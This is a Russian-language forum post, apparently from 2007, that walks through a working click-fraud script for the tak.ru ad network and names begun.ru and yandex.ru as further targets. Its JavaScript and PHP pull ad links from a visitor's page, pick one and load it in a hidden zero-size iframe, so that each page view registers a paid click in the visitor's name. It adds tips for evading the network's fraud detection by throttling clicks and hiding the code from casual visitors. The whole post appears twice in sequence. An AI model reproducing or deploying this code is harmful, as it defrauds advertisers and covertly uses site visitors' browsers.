gormet
10.06.2007, 20:14
Автокликер с tak.ru, begun.ru, yandex.ru
Как то раз мне кент предложил сделать автоматическую кликалку рекламы на так.ру, и вот что у меня вышло…
После регистрации на так и добавления своего сайта для показа рекламы выдается ссылка вида для вставки на свой сайт
<script language="JavaScript" src="http://s16.takru.com/in.php?id=00000"></script>
По этому адресу выдается примерно следующие
document.writeln('Тут должны быть по идее ссылки..)))');
Теперь начинается самое интересно, использую одну хитрую вещичку и AJAX..
И так по порядку.
Что бы получить содержимое загруженной страницы и передать ее для обработки используем следующий код
<div id="real" style="display:none">
<script language="JavaScript" src="http://s16.takru.com/in.php?id=00000"></script>
</div>
<script>
JsHttpRequest.query(
'tak.ru.php',
{
'str': document.getElementById("real").innerHTML
},
function(result) {
document.getElementById("ans").innerHTML = result["md5"];
},
false
);
</script>
Если кто то не понял что тут происходит, объясняю, при загрузке страницы пользователем, содержимое http://s16.takru.com/in.php?id=00000 передается скрипту при помощи ajaxa.
И так следуем дальше.
Содержимое файла tak.ru.php
//Продолжение кода
$str = $_REQUEST['str'];
if($str)
{
$select = rand (1,5); //В зависимости от числа выводимых объявлений
preg_match_all ("#(href=\")(.*?)(\")#si", $str , $massiv_proxy);
$load_pages = $massiv_proxy['2']["$select"];
if($load_pages ){
$rezult = "<iframe src=\"".$load_pages."\" width=\"0\" height=\"0\" scrolling=\"no\" frameborder=\"0\"></iframe>";}
)
$_RESULT = array( "md5" => $rezult);
//Продолжение кода
И что же у нас получается, что при помощи данного скриптика мы получаем фрейм
<iframe src=".$load_pages. " width="0" height="0" scrolling="no" frameborder="0"></iframe>
И что же это нам вообще дает, при загрузке страницы, мы передали содержимое с рекламой, там у нас выбралось одно сообщение и оно потом загружается в скрытом фрейме, и это дает то что у нас засчитывается клик по рекламе, так как передаются все данные того пользователя который загрузил страницу…
Такую же вещь можно сделать на begun.ru, yandex.ru и т.д
И так как можно защитится от того что бы тебя не запалили
1) Сейчас кто использую движок DLE есть такая замечательная вещь как скрытие от не зарегистрированных пользователей, т.е просто не вывод данный левым пользователям
2) Ограничить время клика, т.е хранить в базе данных время последнего клика, и после клика генерировать определенное число минут, через которое можно будет снова включить данный код в страницу
3) Ограничить число кликов, хранить то число кликов которое вы захотите что было сделано, если больше заданного числа то уже не чего не выводим
А как же можно защитится распространителям рекламы, один из вариантов сделать так же как и на link.ru, т.е после загрузки ява скрипта, грузиться iframe, с которого не возможно считать надые. Но конечно же и это можно обойти, но на много сложнее….
З.Ы. При тестировании скрипта мой акк забанили на так.ру по причине накликивания потому как не было ограничения на количество кликов, вот такая засада.
Посещаемость сайта балы около 150 - 200 посетителей в сутки, вот и получилось что накликался я :)
Исполнение кода: DIAgen; идея gormet.
Спасибо за внимание.
Как то раз мне кент предложил сделать автоматическую кликалку рекламы на так.ру, и вот что у меня вышло…
После регистрации на так и добавления своего сайта для показа рекламы выдается ссылка вида для вставки на свой сайт
<script language="JavaScript" src="http://s16.takru.com/in.php?id=00000"></script>
По этому адресу выдается примерно следующие
document.writeln('Тут должны быть по идее ссылки..)))');
Теперь начинается самое интересно, использую одну хитрую вещичку и AJAX..
И так по порядку.
Что бы получить содержимое загруженной страницы и передать ее для обработки используем следующий код
<div id="real" style="display:none">
<script language="JavaScript" src="http://s16.takru.com/in.php?id=00000"></script>
</div>
<script>
JsHttpRequest.query(
'tak.ru.php',
{
'str': document.getElementById("real").innerHTML
},
function(result) {
document.getElementById("ans").innerHTML = result["md5"];
},
false
);
</script>
Если кто то не понял что тут происходит, объясняю, при загрузке страницы пользователем, содержимое http://s16.takru.com/in.php?id=00000 передается скрипту при помощи ajaxa.
И так следуем дальше.
Содержимое файла tak.ru.php
//Продолжение кода
$str = $_REQUEST['str'];
if($str)
{
$select = rand (1,5); //В зависимости от числа выводимых объявлений
preg_match_all ("#(href=\")(.*?)(\")#si", $str , $massiv_proxy);
$load_pages = $massiv_proxy['2']["$select"];
if($load_pages ){
$rezult = "<iframe src=\"".$load_pages."\" width=\"0\" height=\"0\" scrolling=\"no\" frameborder=\"0\"></iframe>";}
)
$_RESULT = array( "md5" => $rezult);
//Продолжение кода
И что же у нас получается, что при помощи данного скриптика мы получаем фрейм
<iframe src=".$load_pages. " width="0" height="0" scrolling="no" frameborder="0"></iframe>
И что же это нам вообще дает, при загрузке страницы, мы передали содержимое с рекламой, там у нас выбралось одно сообщение и оно потом загружается в скрытом фрейме, и это дает то что у нас засчитывается клик по рекламе, так как передаются все данные того пользователя который загрузил страницу…
Такую же вещь можно сделать на begun.ru, yandex.ru и т.д
И так как можно защитится от того что бы тебя не запалили
1) Сейчас кто использую движок DLE есть такая замечательная вещь как скрытие от не зарегистрированных пользователей, т.е просто не вывод данный левым пользователям
2) Ограничить время клика, т.е хранить в базе данных время последнего клика, и после клика генерировать определенное число минут, через которое можно будет снова включить данный код в страницу
3) Ограничить число кликов, хранить то число кликов которое вы захотите что было сделано, если больше заданного числа то уже не чего не выводим
А как же можно защитится распространителям рекламы, один из вариантов сделать так же как и на link.ru, т.е после загрузки ява скрипта, грузиться iframe, с которого не возможно считать надые. Но конечно же и это можно обойти, но на много сложнее….
З.Ы. При тестировании скрипта мой акк забанили на так.ру по причине накликивания потому как не было ограничения на количество кликов, вот такая засада.
Посещаемость сайта балы около 150 - 200 посетителей в сутки, вот и получилось что накликался я :)
Исполнение кода: DIAgen; идея gormet.
Спасибо за внимание.